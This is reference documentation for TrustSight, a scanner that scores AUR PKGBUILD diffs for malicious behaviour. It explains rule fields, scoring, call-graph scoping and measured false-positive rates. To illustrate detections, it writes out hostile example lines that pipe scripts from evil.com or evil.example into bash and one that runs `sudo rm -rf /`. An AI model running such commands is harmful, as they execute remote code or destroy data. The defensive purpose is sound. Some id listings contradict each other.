Rule System Reference¶
How the rule engine works: the fields a rule carries, how severity becomes weight, what the series prefixes mean, and which identifiers are reserved. Individual rule definitions live on the category pages; every rule id below links to its own.
TrustSight uses rules to detect structural signals in PKGBUILD diffs. Each rule contributes to the final score based on its severity weight, match target, and scope.
How scoring uses rules¶
The final score is computed from four signal sources. Rules are the primary source (Tier A):
Score formula:
base = sum(severity_weight for each fired rule)
base += source_bucket_modifiers (Tier B)
base += novelty_weights scaled by maturity (Tier C)
final = clamp(base, 0, 100)
If a FATAL rule fires, the score is immediately set to 100 regardless of all other signals.
How severity weight maps to risk¶
Each severity level carries a weight that reflects its information value: how often does this signal fire on benign packages versus malicious ones?
| Severity | Weight | Fire rate on benign corpus | Meaning |
|---|---|---|---|
| FATAL | 0 (hard-stop) | Never | Score immediately set to 100. Package is attempting to deceive the reviewer. |
| CRITICAL | 40 | Rare | Almost certainly malicious if triggered. curl pipe bash, sudo in functions. |
| HIGH | 25 | Low | Strong signal. Checksum manipulation, unexpected downloads. |
| MEDIUM | 15 | Moderate | Notable but not definitive. Install file changes. |
| LOW | 5 | High | Weak signal. Demoted from higher severity if corpus fire rate exceeds 30%. |
| INFO | 0 | Variable | Recorded for audit trail only. No score contribution. |
A CRITICAL rule on its own (weight 40) puts a package into the review queue under the default profile, whose threshold is 20. A single HIGH rule (weight 25) does the same, and so do two MEDIUM rules (15 + 15 = 30). The threshold is a workload choice rather than a property of the score: [review] profile moves it to 40 (quiet) or 10 (strict) without changing any weight, band or arithmetic, and the report carries the profile and its effective threshold beside the flagged decision so a reader can see which queue produced it.
How match_target selects what the rule sees¶
PKGBUILDs encode meaning at two levels. The text of the file declares structure (variables, arrays, function boundaries). The resolved values of those variables determine what actually runs. Rules target one or the other:
resolvedtarget: the rule pattern is applied to the post-variable-expansion value of each function body and source array. This catches patterns hidden behind variables:curl $url | $shellin the diff becomescurl https://evil.com/hook.sh | bashafter resolution.raw_linetarget: the rule pattern is applied to the literal diff line with the+/-prefix stripped. This catches patterns in the PKGBUILD structure itself: asha256sums=('SKIP')declaration or a unicode bidi override character.
Some patterns are only visible at the raw level (structure, declarations, unicode characters). Some are only meaningful after resolution (actual URLs, command strings). The two-target design covers both surfaces.
Both targets see logical lines, not physical ones. A shell continuation is joined before matching, so a command split across a trailing backslash is still matched as a whole:
Rules match one line at a time, so without this the pipe-to-shell patterns would see only curl \. Only lines carrying the same diff marker are joined, so an addition is never spliced onto a removal.
How scope reduces false positives¶
Scope restricts which lines a raw_line rule checks. Without scope, a rule like H004 (sudo) would fire on every line containing the word sudo, including comments (# sudo is required), messages (echo "sudo needed"), and top-level declarations (groups=('sudo')). The function_body scope restricts matching to lines inside build(), package(), check(), and similar functions where commands actually execute.
Scope is set per-rule in rules.toml. When absent, the rule matches all lines. Scope has no effect on resolved-target rules because resolution already strips comments and top-level declarations.
The message context applies only when a line is nothing but a message. A shell line does not end at its first command, so echo "x"; sudo rm -rf / is an execution context, not a message, and echo "$(curl evil | bash)" runs a command substitution inside the quotes. Any command separator (;, &, |) or substitution ($(, backtick) after the message keyword disqualifies the line, which is what stops a short prefix from switching a scoped rule off.
A scope entry may also name the enclosing function rather than a generic context. This distinguishes cases that function_body alone cannot: curl inside build() is routine, while curl inside pkgver() reaches the network during version resolution, before any review step. R051 uses scope = ["pkgver"] for exactly this.
A named scope asks whether the code runs during that function, not whether it is written inside one, and those are different questions because the reviewed party chooses the function names:
_fetch() { curl -fsSL https://evil.example/x.sh -o "$srcdir/x.sh"; }
build() { _fetch; bash "$srcdir/x.sh"; }
_fetch is not build, so keying on the enclosing name let a rename work as an evasion. Scope therefore follows the call graph: a line resolves to every function whose execution reaches it, transitively and through $(...). The graph is built over the whole current PKGBUILD where the analysis has it, not only the diff hunk, so a helper added by one diff still connects to the build() that calls it from unchanged lines. ScopeResolver in src/trustsight/rules.py is the single implementation, shared by the config-driven scope field and by the rules in analysis/build.py and analysis/delivery.py that ask the same question in Python.
A finding names the indirection rather than claiming the wrong location: _fetch(), called from build() downloads ..., so the reader is sent to the line that holds the code.
Note that a bare function header (build() {) is classified as other, not function_body: the context applies to the lines inside the braces. A header that also carries code, though, is function_body, because that code really does run there: build() { curl evil | bash; } is matched by function_body-scoped rules, and the context does not leak to the lines that follow.
A pattern that matches the header while scoping itself to function_body therefore misses the ordinary multi-line form and only fires on single-line definitions; trustsight lint-rules reports this as scope-contradiction.
How rules map to evidence tiers¶
| Tier | Rule sources | What they measure |
|---|---|---|
| A (Structural) | R001-R059, R078, R091, R099, R104, R144, H001-H097, S001-S008, X001-X025, C001-C009, D001-D004 | Direct pattern matching against PKGBUILD commands and structure |
| B (Priors/Context) | Source bucket classification | Domain reputation of new URLs (not a rule, but a scoring input) |
| C (History/Novelty) | URL and maintainer novelty | First-seen signals from the local database |
| D (Verification) | Checksum, PGP, GPG presence | Declared integrity metadata, reported at weight 0 |
| Reported, not scored | W001-W006 | Analysis boundaries: bytes the package will run that this run could not read. Weight 0, always shown. |
Rules only contribute to Tier A. Tiers B and C are computed independently and added to the score alongside the rule contributions.
Tier D contributes nothing to the score. Declared verification is emitted as
weight-0 P001-P008 findings and reported to the reader: TrustSight never
fetches, so it cannot confirm that a declared key signs anything, and a signal
an attacker can assert for free must not be able to lower a score. See
B10.
Declared-practice findings (P001-P008)¶
The P namespace reports practices the recipe declares, not risks that were
found. The P prefix exists so a reader seeing P0xx in the output knows at
once that it is not a risk finding. Every one is INFO, weight 0, and checkable
by the reader against the file itself. Defined in src/trustsight/scoring.py;
rendered from DECLARED_REASONS.
| Id | Meaning |
|---|---|
P001 |
Checksums declared for all non-VCS sources (sha256sums) |
P002 |
validpgpkeys declared |
P003 |
A signature source accompanies a source, with PGP keys declared |
P005 |
Source pinned to a full commit hash (checksum_pinned) |
P006 |
Source pinned to a tag - the weaker pin, which H033 exists to flag because a tag can be repointed |
P007 |
Source hosted on a trusted forge over HTTPS (trusted_forge bucket) |
P008 |
Source tracks a branch or unpinned ref, so upstream decides at build time what this compiles and runs |
P004 is skipped, so the family has seven members rather than eight. Four of
them - P002, P003, P005 and P008 - render unprompted; the other three
render under --verbose. Stating every declared practice on every package
would bury the risk findings, which is the opposite of what the group is for,
so the default set is the ones a reader would find surprising by their
absence - plus P008, which is the one whose presence is the notable thing.
The set is DECLARED_DEFAULT in src/trustsight/scoring.py.
P008 is the counterpart P005/P006 never had. A recipe that pins says so;
one that tracks a branch produced no line at all, and "nothing" reads exactly
like "pinned" to anyone scanning the group. It is deliberately not a coverage
gap: the statement is true of every VCS package by design, and raising a gap
would put 20.1% of the locked benign corpus (653 of 3,246 diffs) into
Inconclusive, which buys alert fatigue rather than information. The band is
left alone and the reader is told what the recipe declares. The
rest render under --verbose. The P namespace contrasts with H033/H049/H059:
those fire when a practice is changed, these report when one is present.
No P finding can lower a score - B10.
R-series and H-series (core detection rules)¶
Two namespaces, distinguished by mechanism rather than by subject. An
R-series rule is a regex defined in ~/.config/trustsight/rules.toml and
loaded at runtime by load_rules() in src/trustsight/rules.py; you can read
it, retune it, or switch it off. An H-series rule is a heuristic emitted by
an analysis module because it needs diff context a single-line regex cannot
see - what changed, what it changed relative to, what the corpus has seen
before - and it has no entry in rules.toml.
The fields below describe an R-series rule. H-series rules carry the same severity, category and weight vocabulary in their findings, but they are not configured through this file.
Each rule supports these fields:
| Field | Type | Description |
|---|---|---|
id |
string |
Rule identifier. Every id in rules.toml is an R id: R001-R003, R007-R008, R010-R013, R017, R039-R059 and R144. |
name |
string |
Human-readable name. |
pattern |
string |
Python regex applied to the match target. |
severity |
string |
FATAL, CRITICAL, HIGH, MEDIUM, LOW, or INFO. |
category |
string |
Semantic category (network_execution, obfuscation, installer, privilege, network_usage, injection, unicode, integrity). |
match_target |
string |
"resolved" : apply to variable-resolved command strings after tokenization. "raw_line" : apply to raw diff lines after stripping the +/- prefix. |
scope |
list[string] |
(Optional, raw_line only) Restrict matching to line contexts (["function_body"], ["message"], ["other"]) or to a named PKGBUILD function (["pkgver"], ["package"], ["package_foo"]). When absent, matches all lines. |
added_only |
bool |
(Optional, raw_line only) Match only added (+) lines. Raw diff lines include removals, so without this a maintainer deleting a suspicious line raises the score. All R039+ rules set it. |
experimental |
bool |
(Optional) Skip the rule unless [rules] experimental = true in config.toml. Used for rules whose false-positive rate has not been measured against the benign corpus. |
include_comments |
bool |
(Optional) Also match comment lines, which are filtered out for every other rule. Only for rules whose target is the reader rather than the shell (R012, R013): a commented-out command does not run, but a comment is exactly where an injection or a hidden character lives. |
R001¶
See R001: Remote Script Execution.
R002¶
R003¶
See R003: Base64 Decode and Execute.
H001¶
H002¶
H003¶
See H003: Insecure Download Protocol.
R007¶
See R007: Install File Modification.
R008¶
See R008: Unexpected File Download.
H004¶
See H004: Privilege Escalation.
R010¶
See R010: Uses curl in PKGBUILD.
R011¶
See R011: Uses wget in PKGBUILD.
R012¶
See R012: Prompt Injection Detection.
R013¶
See R013: Unicode Bidi Override.
H005¶
H006¶
See H006: New Make/Opt/Check Dependency.
R017¶
See R017: Setuid/Setgid Permission.
H007¶
H008¶
See H008: Suspicious Environment Variable.
H009¶
See H009: Network connection attempt.
H010¶
See H010: Suspicious file write.
H011¶
See H011: Sensitive binary execution.
H012¶
See H012: Strace detection attempt (TracerPid check).
H013¶
See H013: Strace log truncated (possible flood evasion).
H014¶
Severity weights¶
Configured in config.toml [severity_weights]:
| Severity | Weight |
|---|---|
| FATAL | 0 (hard-stop score at 100) |
| CRITICAL | 40 |
| HIGH | 25 |
| MEDIUM | 15 |
| LOW | 5 |
| INFO | 0 |
FATAL rules¶
R012 and R013 are shipped FATAL rules. H056 can also emit a FATAL finding when a current package fact matches an IOC whose confidence is confirmed; lower-confidence IOC matches use lower severities. FATAL findings contribute 0 weight to the running total but immediately set final_score = 100 and risk level "Critical". No other rules are evaluated for weight contribution after a FATAL fires; the short-circuit is in calculate_score() at src/trustsight/scoring.py. R012 and R013 are the shipped rules protected from configuration removal or downgrade; H056's severity is derived from the signed/local indicator confidence tier.
C-series (code, structural rules)¶
Generated by _structural_findings() in src/trustsight/analysis/structural.py. Not configurable via TOML. Fire based on structural comparisons between the diff and the post-diff state. Each one compares the before and after of the diff; a checksum that changed while the source stayed put, a URL swapped without a version bump; which a pattern matched against one line at a time cannot express. Comparisons use _pkgver_changed_in_diff() to detect pkgver= value changes.
_structural_findings() is shared by analyze_package() (live) and scan_diff() (offline replay), so the two pipelines cannot drift apart.
C001¶
See C001: Checksum Changed Without Source Change With Stable Version.
C002¶
See C002: Checksum Updated With Version Bump.
C003¶
See C003: Source URL Changed Without Version Bump.
C004¶
See C004: Checksum Removed For Unchanged Source.
C008¶
See C008: Unread Content Moved Under A Stable Version.
C009¶
See C009: Unread Content Moved With The Version.
C005¶
See C005: Binary Artifact From Untrusted Source.
C006¶
See C006: Maintainer Change With New Source Domain.
C007¶
See C007: Command Substitution In Source Array.
Expanded ruleset (R039+)¶
These rules roughly double the pattern-based detection surface. They are enabled by default, having been calibrated against a 3246-diff stratified benign corpus: fourteen fire on zero benign diffs, and every remaining hit was inspected individually; all but one were true positives. Enabling them costs 0.5 percentage points of zero-rate and leaves p95 unchanged.
The experimental flag remains supported for future additions. A rule carrying experimental = true is skipped unless config.toml sets:
Numbering jumps over R015, R026-R038 to keep the core and expanded ranges readable. H005 and H006-H014 shipped as TOML rules and are documented above; R015 and R026-R038 are reserved: they are referenced by nothing in the shipped config and must not be assigned casually, because a maintainer rule that reuses an id already present in a user's rules.toml would silently change what the user's override means.
Every raw_line rule below sets added_only = true.
R039¶
See R039: Eval With Dynamic Content.
R040¶
See R040: Shell -c With Dynamic Payload.
R041¶
See R041: Shell Network Redirection.
R042¶
See R042: Download Then Execute.
R043¶
R044¶
See R044: Interpreter One-Liner With Network.
R045¶
See R045: Binary Encoding Pipe.
R046¶
See R046: Source URL Uses IP Address.
R047¶
See R047: Source URL Uses Non-Standard Port.
R048¶
See R048: Source URL On Free Registrar TLD.
R049¶
See R049: Compiler Plugin Or Loader Override.
R050¶
See R050: Compiler Hardening Disabled.
R051¶
See R051: Network Access In pkgver.
R052¶
See R052: Dotfile Written To User Profile.
R053¶
See R053: Setuid Or Setgid Bit Set In Package Root.
R059¶
See R059: Setuid Or Setgid Bit Set Outside Package Root.
R054¶
See R054: Persistence Unit Outside Package Root.
R055¶
See R055: Git Clone With Variable Branch.
R056¶
See R056: Download Then Source.
R057¶
See R057: TLS Verification Disabled.
R058¶
See R058: Write Outside Package Root.
H015¶
See H015: Critical Build Function Modified.
H016¶
See H016: Hidden Network Fetch In Build.
Measured fire rates¶
The detailed rows below were measured against the 3,246-diff benign corpus with a 209,909-name dependency corpus. They are per-rule hit counts from a single run and are not regenerated on each push. All D-series, H016-H019, and H035-H036 rules are on by default, as are the code-emitted rules H037-H079. These are false-positive rates: every hit is a benign package.
The numbers are enforced, not just recorded. scripts/calibration_gates.py replays the corpus against the shipped configuration in a temporary directory with a cold database, and fails the build if any scoring rule exceeds a 0.30 fire rate, if benign p95 reaches the malicious p5, if a weight-0 annotation starts scoring, or if a labelled attack fixture stops being detected. It runs on every push. Class C and Class D rules are absent from this table because they cannot fire on a stateless diff at all, which is itself one of the gates.
For a complete reference including the core and expanded rules, see Fire Rates.
| Rule | Severity | Fires | Rate | Read |
|---|---|---|---|---|
| D004 | HIGH | 0 | 0.00 % | No false positive across the 2084 corpus diffs that declare provides/replaces. |
| H017 | HIGH | 4 | 0.12 % | Three are mullvad-vpn-bin, which sets a setuid bit and enables a unit from post_install(). The fourth is claude-desktop-bin, whose _fix_sandbox() helper - reached only by following the call graph - sets 4755 on the Electron sandbox binary. Real privileged behaviour in both, which is the point. |
| H018 | HIGH | 0 | 0.00 % | Zero, because it asks where the patch comes from rather than whether it is declared. The broad "not in source=()" form measured 2.13 %. |
| H019 | MEDIUM | 1 | 0.03 % | transset-df, a genuine https to http downgrade. |
| H020 | INFO | - | - | Not calibrated: fires on any recent update, which is inherently time-of-run dependent. |
| H021 | INFO | - | - | Not calibrated: fires on packages < 30 days old, which is a small and shifting set. |
| H022 | MEDIUM | - | - | Not calibrated: fires when the user's last analysis is > 1 year old, which varies per database. |
| H023 | INFO | - | - | Not calibrated: zero-weight metadata; context only. |
| H024 | HIGH | 1 | 0.03 % | Near-zero; matches the predicted rate. |
| H025 | HIGH/MED | 8 | 0.25 % | All HIGH (LD_ vars). No MEDIUM fires in corpus. |
| H026 | HIGH | - | TBD | Not corpus-measurable; requires live git history. |
| H027 | INFO | 515 | 15.87 % | INFO weight 0; not a scoring impact. |
| H029 | HIGH | 2/179 pkgs | 1.12 % | Measured via package-name scan with seeded DB. Fires on dosbox-x and electron36. |
| H030 | MEDIUM | 11 | 0.34 % | Measured with seeded DB (209,909-name seed). Well under the 30% gate. |
| D001 | HIGH | 5 | 0.15 % | Comfortably low for HIGH. All five are real package names that simply nothing else in the AUR depends on (kde-rounded-corners-x11, python2-gevent-eventemitter, udfclient-fuse3), not parser noise. |
| D002 | HIGH | 0 | 0.00 % | No false positive anywhere in the corpus. Bounded by D001, which it refines. |
| D003 | MEDIUM | 15 | 0.46 % | Almost all are git added to fetch submodules, the legitimate case the MEDIUM severity anticipates. |
| H015 | INFO | 694 | 21.4 % | Why it is INFO. No narrowing reaches triage quality (pkgver unchanged still leaves 11.6 %, a bump that also edits build() is 9.8 %), so it carries weight 0 and reports context instead of scoring. Harmless at that weight, hence on by default. |
| H016 | HIGH | 7 | 0.22 % | The hits are real build-time downloads (apple-fonts, ttf-ms-win-*, gamescope-nvidia), which is the behaviour the rule exists to surface rather than noise. |
| H031 | MEDIUM | 0 | 0.00 % | Needs both an unsafe literal version and its interpolation into a source URL. |
| H032 | HIGH | 1 | 0.03 % | A legitimate $HOME/.config/...log write from a post_upgrade. |
| H033 | HIGH/MED | 4 | 0.12 % | Maintainers tracking a moving patch branch under a fixed version, which is the shape the rule describes. |
| H034 | MEDIUM | 6 | 0.18 % | Schemes outside the shipped allowlist. |
| H038 | HIGH | 0 | 0.00 % | mktemp -d is excluded wholesale, so private scratch directories never count. |
| H041 | HIGH | 0 | 0.00 % | The one paste-host reference in the corpus is a gist download, which is H016's. |
| H039 | HIGH | 0 | 0.00 % | Reads the unit's ExecStart, not its filename. |
| H040 | INFO | 0 | 0.00 % | env was dropped after a sed expression read as a command position. |
| H042 | HIGH | 0 | 0.00 % | Deliberately the quietest of the persistence group. |
| H043 | INFO | 0 | 0.00 % | A benign diff with one or two hits cannot reach three distinct stages. |
| H056 | tiered | 0 | 0.00 % | With the shipped (empty) list and with a synthetic one. A positive control (github.com) fires on 1561 diffs, so the surface extraction is real. |
| H062 | MEDIUM | 4 | 0.12 % | Packages that legitimately ship pacman hooks. |
| H063 | MEDIUM | 0 | 0.00 % | An unchanged epoch never surfaces in a hunk. |
| H064 | HIGH/MED | 0 | 0.00 % | Related name shapes suppress; cold start cannot fire. |
| H065 | INFO | 0 | 0.00 % | Weight 0. Anchoring the check on an ANSI-C quote opener removed four regex end-anchor false positives. |
| H067 | HIGH | 0 | 0.00 % | Architecture checks are not probes. |
| H068 | HIGH | 0 | 0.00 % | A type check on decoded bytes, so encodings do not need enumerating. |
| H069 | HIGH | 0 | 0.00 % | Heredoc bodies are excluded from command scanning. |
| H071 | HIGH | 0 | 0.00 % | Command-position anchored; a client in makedepends is a declaration. |
| H072 | HIGH | 0 | 0.00 % | Still zero after the execution match was widened to a path with arguments. |
| H076 | HIGH | 0 | 0.00 % | A representative backdoor fixture goes from 25 to 50 with it. |
| H077 | HIGH | 3 | 0.09 % | One package resolving a redirect with curl at the top level, which really does fetch on a metadata refresh. |
| H078 | HIGH/MED/INFO | 6 | 0.18 % | Two introductions and four upstream key rotations. |
| H079 | HIGH/MED | 3 | 0.09 % | One wine package that genuinely disables FORTIFY_SOURCE. |
Getting D001 from 5.95 % to 0.15 % took two extractor fixes, both found by this measurement rather than by review:
- An unbounded fallback for unquoted array entries read shell fragments (
if,[[,!) out of apackage()body as dependency names. - Comments inside dependency arrays contributed every word of the note (
required,because,disabled).
Both are covered by regression tests in tests/test_deps_rules.py.
H017¶
See H017: Install Hook Fetches Or Executes.
H018¶
See H018: Patch Applied From Outside The Build Tree.
H019¶
See H019: Source URL Downgraded To HTTP.
Temporal context rules (H020-H022)¶
Defined in src/trustsight/analysis/temporal.py. They inspect git commit timestamps on
the AUR repository to surface temporal signals. None require a diff, so they
also fire on first-seen packages in _make_fresh_analysis() (in pipeline.py).
All three are on by default with no config toggle.
H020¶
H021¶
H022¶
See H022: Stale Package Revived.
Install and build context rules (H023-H025)¶
Defined in src/trustsight/analysis/build.py and src/trustsight/analysis/pipeline.py. They
inspect the diff for changes to security-critical build and install
infrastructure - hooks that run as root, signature verification that gets
dropped, environment variables that subvert the compiler.
H023¶
See H023: Install Hook Present.
H024¶
See H024: GPG Verification Removed.
H025¶
See H025: Build Environment Subversion.
Maintainer and capability rules (H026-H027)¶
H026¶
See H026: Untrusted Maintainer Takeover.
H027¶
See H027: Capability Density Anomaly.
Temporal metadata (H028) - not a scored finding¶
H028¶
See H028: Accelerated Release Cadence.
Naming rule (H029) - package-name typosquat¶
H029¶
See H029: Package-Name Typosquat.
Dependency-set expansion rule (H030)¶
H030¶
See H030: Dependency-Set Expansion.
Install and build context rules (H035-H036)¶
Defined in src/trustsight/analysis/build.py. They inspect install hooks and
build-function content for additional risk signals. Both are enabled by default,
and both fire on zero diffs of the benign corpus.
H035¶
See H035: Foreign Package Manager In Install Hook.
H036¶
See H036: Shell Obfuscation Density.
D-series dependency rules¶
Defined in src/trustsight/analysis/dependencies.py, not in rules.toml. They compare the
dependency arrays before and after the diff and consult the local database, so
they cannot be expressed as a pattern over a single line.
They also have to bypass the engine's own filtering: rules.py strips
depends, makedepends, optdepends, and checkdepends lines before any
pattern runs, which is why extraction lives in src/trustsight/deps.py.
All D-series rules are enabled by default. Disable them
individually under [experimental_rules].
D001¶
See D001: Novel Dependency Added.
D002¶
See D002: Typosquatted Dependency.
D004¶
See D004: Dependency Hijack Via Provides.
D003¶
See D003: New Network-Using Makedepends.
Network-surface rules (H031, H033, H034, H041, H071, H077)¶
These six ask one question in different places: what does this recipe reach over the network, in which direction, and when.
H031¶
See H031: Version-In-URL Injection.
H033¶
See H033: Moved Git Ref.
H034¶
See H034: Exotic Source Protocol.
H041¶
See H041: Upload To Paste Or File-Drop Host.
H071¶
See H071: Covert Egress.
H077¶
See H077: Parse-time Network Fetch.
Install-path persistence (H032, H038, H039, H042, H062, H076)¶
One shared write-target resolver backs this group (analysis/persistence.py):
install/cp/mv/ln destinations including -t DIR, > redirects, and
the verb-substitution forms tee, dd of=, mkdir -p, touch, rsync and
sed -i. Every match is command-position anchored, so a quoted string such as
'cp x ~/.zshrc' never reads as a write.
H032¶
See H032: Write To User Home Or RC.
H038¶
See H038: World-Writable Staging.
H039¶
See H039: Systemd ExecStart From Runtime-Writable Path.
H042¶
See H042: Hidden Drop.
H062¶
See H062: Pacman Hook Installed.
H076¶
See H076: Build Writes Outside Staging Root.
Reconstruction and delivery (H065 to H072, H075, H080, H081 to H085)¶
H065¶
See H065: Obfuscated Literal Reconstructed.
H080¶
See H080: Indirect Command Expansion.
H066¶
See H066: Embedded Binary In Tree.
H067¶
See H067: Anti-Analysis Check.
H068¶
See H068: Reconstructed Executable Payload.
H069¶
See H069: Build-time Generation Then Execution.
H070¶
See H070: Archive Trailer Anomaly.
H072¶
H075¶
See H075: Indirect Remote Execution.
H081¶
See H081: Committed File Executed Without Declaration.
H082¶
H083¶
See H083: Downloaded Source File Executed.
H084¶
See H084: Service ExecStart Targets Undeclared Binary.
H085¶
See H085: PATH Injection With Undeclared Directory.
Composition (H040, H043)¶
Both are annotations. Neither adds weight, so neither can turn an UNFLAGGED package into a flagged one on its own.
H040¶
See H040: Host Reconnaissance.
H043¶
See H043: Attack-Chain Composition.
Integrity and trust (H078, H079)¶
H078¶
See H078: Signing Key Set Changed.
H079¶
See H079: Build Flags Weakened.
Class B: declaration-scope rules (H063, H064)¶
H063¶
H064¶
See H064: Provides/Replaces Scope Expansion.
Class C: longitudinal rules (H037, H047 to H051, H054)¶
Class C rules do not read a diff. They read PropertyBreak records from the
corpus property layer: a value that held for many consecutive observations and
then changed. Every one of them is silent on a cold database by construction,
because the first observation of a property only inserts it.
The [longitudinal] stability_floor (default 10) is the gate: a value must hold
at least that many consecutive observations before a change is reported at all.
Above the floor the weight ramps logistically, reaching roughly 0.9 by about 40
observations.
H037¶
See H037: Long-Stable Property Changed.
H047¶
See H047: Security-Relevant Build Flag Change.
H048¶
See H048: Dependency Vendored Into Source.
H049¶
See H049: Source Host Changed.
H050¶
See H050: Version Scheme Changed.
H051¶
See H051: Package Description Changed.
H054¶
See H054: Build System Changed.
Class D: corpus rules (H026, H044, H045, H046, H052, H053, H055, H057, H058, H059, H060, H061, H073, H074)¶
Class D rules describe the corpus, not a package. They run once per metadata
cycle in trustsight full-aur, after the per-package loop, and each returns one
finding per cluster, with the members in params.members. They are silent
without a prior snapshot: the calibration gate is
fire_rate(no_baseline) == 0.
H026¶
See H026: Untrusted Maintainer Takeover (corpus path).
H044¶
See H044: Ownership Transition.
H045¶
See H045: Mass Adoption.
H046¶
See H046: Orphan/Adoption Dependency.
H052¶
See H052: Shared Source Repository.
H053¶
See H053: Name/Host Consensus Divergence.
H055¶
H057¶
See H057: Transitive Exposure.
H058¶
See H058: Maintainer Baseline Deviation.
H059¶
See H059: Name/Repo Divergence.
H060¶
See H060: Transitive Orphan Exposure.
H061¶
See H061: Dependency Centrality.
H073¶
See H073: Introduction Rate Deviation.
H074¶
Additional Per-Package Rules¶
H086-H088 are per-package findings, not Class D corpus findings. S001-S008 and X001-X025 are the sabotage and crossfire families; their category pages are authoritative for their conditions and severities.
H086¶
See H086: Adopted From Orphan.
H087¶
See H087: Recipe Changed Without Upstream.
W002¶
See W002: Build Resolves Dependencies From A Registry.
W003¶
See W003: Applies A Patch This Analysis Did Not Read.
W006¶
See W006: Generated File Names A Build-Only Path.
W005¶
See W005: Build Runs A Target Whose Recipe Was Not Read.
W004¶
See W004: Build Engine Runs A Manifest This Analysis Did Not Read.
X022¶
See X022: Generated Config Handed To The Tool That Reads It.
X023¶
See X023: Command Output Executed As A Script.
X021¶
See X021: Executor Runs A File Chosen At Runtime.
X020¶
See X020: Recipe Writes The Build Steps The Engine Runs.
W001¶
See W001: Executes Code This Analysis Did Not Read.
H095¶
See H095: Boot Or Image Artifact Built From The Source Tree.
H094¶
See H094: Unread Script Executed During Packaging.
H093¶
See H093: Committed Config Points At A Build-Only Path.
H092¶
See H092: Metadata Names A Source The Recipe Does Not.
H091¶
See H091: Checksum Array Shorter Than Source Array.
H090¶
See H090: Committed Companion Carries A Fetch-Execute Payload.
H089¶
See H089: Packaged File Names A Build-Only Path.
R144¶
See R144: Packaged File Points At A World-Writable Path.
H088¶
See H088: Adopted, Recipe Rewritten, Unpinned Fetch.
X001¶
See X001: Encoded Payload Decoded And Executed.
X002¶
See X002: Non-Literal Executable Name.
X003¶
See X003: Obfuscated Command Argument.
X004¶
See X004: Build Output Suppressed.
X005¶
See X005: Home Reached By An Alternative Spelling.
X006¶
See X006: Source Points Somewhere Unexpected.
X007¶
See X007: Multiple Evasion Techniques.
X008¶
See X008: Whitespace A Shell Does Not Split On.
X009¶
See X009: Fetch Through An Uncatalogued Client.
X010¶
See X010: Interpreter One-Liner Reaches The Network.
X011¶
See X011: Package Manager Runs Fetched Code At Build Time.
X012¶
See X012: Build Toolchain Redirected Into The Source Tree.
X013¶
See X013: Fetch Redirected Or Trust Root Replaced.
X014¶
See X014: Environment Variable Names Code To Run.
X015¶
See X015: Work Scheduled To Run After The Build.
X016¶
See X016: Fetch Piped Into An Unrecognised Consumer.
X017¶
See X017: Tool Flag Or Builtin Carries A Command.
X018¶
See X018: Interpreter One-Liner Assembles A Name.
X019¶
See X019: Host Material Sent Or Packaged.
S001¶
See S001: Recursive Self-Spawn.
S002¶
See S002: Recursive Deletion Outside The Build Tree.
S003¶
See S003: Raw Block Device Write.
S004¶
See S004: Secure Deletion Of User Data.
S005¶
See S005: Permission Change On A System Path.
S006¶
See S006: System Service Disruption.
S007¶
See S007: Cryptocurrency Miner.
S008¶
See S008: Shell History Or Log Destruction.
R078¶
See R078: Compression Command Override.
R091¶
See R091: Privilege Escalation Override.
R099¶
See R099: Trap Statement.
R104¶
See R104: Error Handling Suppressed.
H096¶
See H096: Download Agent Override.
H097¶
X024¶
See X024: Indirect Sensitive Assignment.
X025¶
See X025: Multi-Line Function Shadow.
Class E: indicators of compromise (H056)¶
H056¶
See H056: Known Indicator of Compromise.
Not currently a rule¶
- H028 (release cadence) is metadata on the analysis record, not a scored finding. See H028.
- R103 and R109 describe the ruleset's ceiling rather than a detection. See the novelty ceiling.
The R-series identifier space is not contiguous. Reserved ids appear nowhere in the shipped config or the code-emitted rule set:
R015,R026-R038: held apart so the core and expanded ranges stay readable, and reassigning them could clash with userrules.tomloverrides.R078,R091,R099,R103-R104,R109,R113: unassigned in the current shipped configuration.R103/R109are claimed above as the novelty ceiling; the rest are simply unused and may be returned to service when a detection needs them.- The ninety-five ids retired by the R/H split are retired, not
recycled. A stored report, a published baseline and a user's
[rules.R###]override can all still name an old id; handing that number to an unrelated new rule would make those references quietly wrong rather than loudly absent. The linter refuses arules.tomlentry that claims one, and the reservation is derived fromtrustsight.rule_id_history.RENAMED_RULE_IDSrather than restated here, so this page cannot drift from what is enforced. The full mapping is in the changelog.
Benchmark performance¶
Measured against the TrustSight test corpus.
Two rows measure a narrower configuration
The recall rows above were measured with observation_count unpopulated, so Tier C novelty contributed zero to every score (see Cold Start and Maturity), and against a smaller ruleset than the one documented here. Read them as a floor, not as current recall. The three distribution rows below are re-measured by the calibration gates against the current 3,246-diff corpus on every push.
| Rule | Recall | Notes |
|---|---|---|
| CRITICAL class (all) | 100 % | Every CRITICAL-class sample detected. |
| R012 (prompt injection) | 17 % | Tripwire; catches obvious patterns only. Low recall is intentional. |
| R013 (unicode bidi) | 88 % | Misses some bidi variants. |
| Benign zero-rate | 68.4 % | Percentage of benign diffs scoring 0. |
| Benign p95 | 35 | 95th percentile score on benign corpus. |
| CRITICAL p5 | 60 | 5th percentile score on CRITICAL-class corpus. |